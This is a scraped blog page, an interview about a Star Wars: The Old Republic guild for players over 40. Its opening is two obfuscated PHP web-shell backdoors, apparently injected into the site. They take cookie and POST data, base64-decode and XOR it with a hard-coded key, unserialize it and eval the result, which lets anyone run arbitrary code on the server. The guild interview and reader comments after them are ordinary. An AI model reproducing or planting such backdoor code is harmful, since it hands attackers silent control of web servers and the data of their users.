$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Guild Checkpoint – Corellian Run Radio
Mar 262012
 

Highlighted Guild

  • The Older Republic – Galactic Republic guild

The craziest thing happened when working on this week’s Guild Checkpoint…the original guild merged with another. Yikes, I fly into panic mode racing to find another guild. I then contacted the guild they merged with, The Older Republic. Not only did they agree to the interview and article, they gave me guild access to their forums to learn more about their guild. Now at first seeing the guild was 40+ for age limit, I was a bit unsure what sort of guild I was interviewing (said the 38 yr old man lol). I was pleasantly surprised by their attitude, graciousness and pursuit for fun in-game and life.

More about The Older Republic & some of their members after the Jump…

 

  •  Guild Q&A

How did The Older Republic get its start? What is the name and type of server the guild can be found?

The guild started with a thread called ‘The 45 year and Older Professional Club’ on the swtor.com forum.  Interest was so high in getting together that a recruitment thread started here. After several days and lots of posts, Overunity set up the guild on the PvE server called Sith Wyrm, which was also home to the guild Stargeezers. We thought it would be fun to be on a server that had others with lots of ‘life experience’. ‘Older Republic’ was born on Feb. 3rd.  My husband, who had been following the thread, said to me “Hey, Jae, you know how to set up forums, help us out here.” Overunity and I chatted, and we ended up setting up home at the website for The Older Republic.

The guild grew at an explosive rate—we went from 4 members to 100 in just 4 weeks. I think that is testament to interest in gaming with other folks who are in the same phase of life, our swtor.com visibility, and some fantastically talented individuals who have taken on roles in guild leadership, event planning, and technical support. Most importantly, it’s due to all our members having a strong commitment to keeping the game and forum environment friendly, drama-free, respectful, and fun.

Recently, the Stargeezers joined with us, and our guild has grown even larger. We have over 150 individuals sharing good times with us now.

While we are very Republic-heavy, our guild family has a presence in both factions. We have the Older Republic guild and the Older Empire guild on the Sith Wyrm server. Overunity’s the guild leader for the Older Empire, too, and his toon name there is Eviloverunity.

 

What led to forming a “mature” aged guild? What has been the most rewarding thing from being in this type of guild? What is or has been the biggest challenge for being in a guild like this?

Nearly everyone who has joined has expressed a desire to do so because they wanted to be part of a mature, laid-back group of people who understand that Real Life ™ comes first. We also all love gaming and nearly all of us have grown up with Star Wars in our lives. We all wanted a group of people who could understand if we suddenly had to leave the keyboard because of an emergency, couldn’t participate in an Operations night because the boss dumped extra tasks on our desks at 4:55 pm, or couldn’t make a PvP match because we needed to spend important time with our families. Also, we’ve all lived through the teen years, and while we certainly enjoy the ‘joie de vivre’ of that part of our lives, we also like to avoid the emo-drama that was part of all our lives then. We enjoy gaming with people of all ages, to be sure, but it’s even better when you game with a group with shared interests and a relaxed attitude on life.

As one of our members, Albert Wang says:

“The Older Republic values emphasizes that being
older does not mean that they cannot appreciate the artistic and
philosophical values that Star Wars: The Old Republic has to offer
everyone regardless of age. SWTOR deals with the concepts of ethics,
individual choice/free will, duty to the state versus freedom of
expression, literary overtones, epic themes of an universal battle,
the idea of charity, and so on. These are issues that I think older
players of the MMO tend to look for rather than the simplistic hack
and slash approach which younger players tend towards.”

Our biggest challenges are scheduling events and working around our physical problems. Because of family and work commitments, we don’t have as much ‘free time’ as those in the younger crowd. Many of us live on tight schedules, so we have to make sure to have events listed on the calendar for everyone to see, and to have events that don’t take up large chunks of time. We just are not able to set aside an eight hour time slot to spend time gaming.

We also have to work around some physical challenges, like slower reflexes, needing a larger font size in chat to work around our ‘older’ eyes, and the health problems that happen more commonly as we acquire more ‘life experience’.

 

How many members do you all have? Do you find it adds or creates to a family type of environment?

We currently have 154 individuals in our guild. We are certainly beyond the ‘intimate’ experience I’ve had with small guilds. However, with this big of a family, we have a big family experience—lots of chat, lots of fun, lots of things going on. Like any big family, we will occasionally have our squabbles. We address those quickly to keep the environment positive, fun, and respectful. It is a lot of fun to be able to log in to the game and find a good 10 or more guildmates on at any one time to chat, do quests or flashpoints, or PvP with. Since we are too big to depend on in-game mail and messages of the day—we just have too much going on at any given time—we participate heavily on our forums for event listings on the calendar, threads on every class, and entertaining discussion. We even have a section for recipes. “Jim’s Shotglass Pork Adobo” is to die for.

 

Does this mean the guild is very casual or do you find there are plenty of members still tackling all the aspects of the game that even the younglings are doing?

With so many people re-rolling new toons to join our guild on the Sith Wyrm server, we have many, many members who are at all phases of leveling. We do a lot of flashpoints to help people level and to gain social points, and we participate in both PvE and PvP activities. We want to experience and enjoy as much of SWTOR as we possibly can.

 

Patch 1.2 seems to be just around the corner, what is The Older Republic most excited to see when it is released in live game? Have any of your members had a chance to test the new features on the Public Testing Server?

Albert Wang said “Guild bank, guild bank, guild bank!” We definitely need that to make it easier to share schematics, crafting materials, and great drops that we can’t personally use. I’m looking forward to a resizable UI to make it easier for my Old Fart eyes to read! Since all our activity is currently on Sith Wyrm, we haven’t had time to try out the new features on the PTS.

 

Speaking of the new patch, how do your members feel about the Legacy system? As a smaller guild do you think it will hinder the guild with players wanting to roll characters on the other faction to get various Legacy perks?

As one of our officers, Jor, says, “People play what they like.” We have people who prefer playing one faction over the other, and members who love both sides, and so early on we set up a guild for each side. Since we have both the Older Republic and the Older Empire, we are able to enjoy gaming in both factions, which will make the Legacy system that much easier for us.

 

Last Wednesday your guild had a PVP event night. What did that all entail? Does your guild plan many events, and if so what kind and how often?

We set the time up for people to get together for PvP. Anyone who is a “PvP virgin” teams up with an experienced PvPer so that they can talk the new PvPer through the different aspects of the warzones, help them with setting up their skillbars for maximum effectiveness, and just generally giving them an extra hand so that the first PvP experience is not so intimidating. I know that I was quite possibly the biggest PvP chicken in the world, but with Timshon and Jor’s help/cajoling/bribing with cookies and some 151 rum, I joined up. I had a fantastic time and learned a lot about skill rotations that ended up helping me be even more effective in PvE play, too.

Since we had about 30 members PvPing last Wednesday, we were obviously too big to form up into one group, so we ended up just counting down in chat and hitting the queue button at the same time. This worked really well, and we all ended up in Warzones or Huttball with at least some guild members. When we get to the point where we have members who want to do some very dedicated PvP, those folks will team up in order to be able to coordinate effectively in Mumble, our voice chat. With our PvP Wednesday nights, though, the goal is just to have fun with other guildies whacking on those nasty Imps.

We have a variety of events on the calendar–datacron hunts, world boss nights, Adegan crystal events, and whatever Jor comes up with–she’s amazingly talented at coming up with some really funny and/or cool things for everyone to do!

 

As we can see in the video below, they have some very different and interesting ways to have fun. Check out the video and see what I mean 🙂

 

Can you explain why the guild went with an age limit and how was the limit decided upon? What are some other rules the guild utilizes to insure the guild maintains its strong foundation and still stay fun?

The age requirement was originally 40, simply as an arbitrary number, because most people by that time are established in careers, have families, and have reached a certain point of ‘life seasoning’. Basically, if someone was alive when Star Wars was released in 1977, and they are willing to act in a mature, understanding, fun manner in the guild, that person is more than welcome to join us. We have our basic forum member rules can be found at this link. However, everything boils down to these rules:

1. Be respectful and treat everyone the way you want to be treated

2. Don’t be a jerk.

 

What do you feel is the guild’s biggest achievement to date? What is a future goal for the guild?

Our biggest achievement so far is growing to such a large size! When we got together in early February, none of us expected to explode in membership. Overunity mentioned to me last night that he thought the guild would top out at around 30 members, and yet we have members continue to join us every day! We think this is fantastic.

Our goals for the future include building both factions up, perhaps even have a giant rumble on Tatooine in the PvP zones! We also want to continue to expand our events to give everyone the opportunity to experience as much of TOR as we possibly can.

 

What is your current main character’s class/advance class and level? Do you also have alts? If not are you planning to roll some alts now, since of the Legacy system announcement?

Since I write for TORWars.com, specifically the Consular weekly, I have two mains, a level 18 Consular Sage and a level 36 Shadow. I have a level 40 Sage on the Mind Trick server. I also play a Smuggler Scoundrel alt because I love that story and the sassy one-liners. On the Empire side, I have a baby Sith Inquisitor. I’m an altoholic, so I plan on trying out every class at some point. I dearly hope that Bioware will let us have a few extra character slots in the future!

 

Is The Older Republic recruiting? If so what classes and advance classes are you all looking for in potential recruits? How is the best way for players to get in touch with the guild about recruitment?

We are indeed recruiting. If anyone is 40 at heart or older, and wants to be a part of a mature, family-oriented, fun community, we welcome you. We take the under-40s on a case-by-case basis.  We believe that everyone should play what they like, so there are no class or AC restrictions. We’ll work around whatever anyone brings to the table. Fortunately, Bioware has created a game where we can play just about anything at any time and be successful in quests, Flashpoints, Operations, and PvP.  To join us, all anyone has to do is go to theolderrepublic.com, check out our Welcome Center, be willing to put up with our bad jokes about the 70’s, and fill out our easy ‘get to know you’ application form on the recruitment tab. We review applications daily and try to get people involved in the guild as quickly as possible. People can feel free to contact our guild leader, Overunity, in game (Republic side) or on the forums. They can also send me a private message on the forum at Jae Onasi if they have any questions.

 

Thanks for the opportunity to share about our guild with CRR folks! – Jae Binndo

 

Thanks to Albert Wang for suggesting the Stargeezers which led me to The Older Republic. Sending out huge thanks to all the members of The Older Republic, and a special thank you to Jae for all her help at gathering  the graphics, screenshots, video & helping with the interview.

I recommend all the guilds I interview, but I do have to give an extra bit of an endorsement to The Older Republic. You all have lots of fun and keep it all in perspective. So if you are looking for a mature guild and want to have loads of fun while playing SWTOR, I suggest getting in touch with The Older Republic…Tell them the old guy from CRR sent you 🙂

If you would like the get your guild highlighted here at Corellian Run Radio, drop me an email at jason@corellianrun.com. See you all next week on Guild Checkpoint!

  2 Responses to “Guild Checkpoint”

  1. Awesome interview. Thanks, Jason!

  2. Amazing interview! It is terrific to see another guild that caters to the “older gamer.” It looks like The Older Republic has a lot of fun. LOVED the Nekkid Sand Run!

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